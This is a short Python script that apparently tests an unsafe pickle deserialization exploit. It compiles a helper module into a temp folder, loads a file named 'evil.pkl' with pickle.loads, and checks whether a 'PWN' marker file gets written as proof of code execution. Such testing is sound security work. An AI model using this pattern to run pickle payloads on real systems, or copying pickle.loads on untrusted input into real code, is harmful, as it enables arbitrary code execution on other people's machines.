import pickle, sys, py_compile from pathlib import Path p=Path(sys.argv[1]) if len(sys.argv)>1 else Path('evil.pkl') TMP=Path(r'C:/Users/uozer/AppData/Local/Temp/opencode') src=TMP/'w52v_ssl_src.py'; pyc=TMP/'w52v_ssl.pyc'; marker=TMP/'w52_ssl_marker.txt' if marker.exists(): marker.unlink() src.write_text(f"open(r'{marker}','w').write('PWN')\n") py_compile.compile(str(src), cfile=str(pyc), doraise=True) pickle.loads(p.read_bytes()) print('MARKER', marker.exists())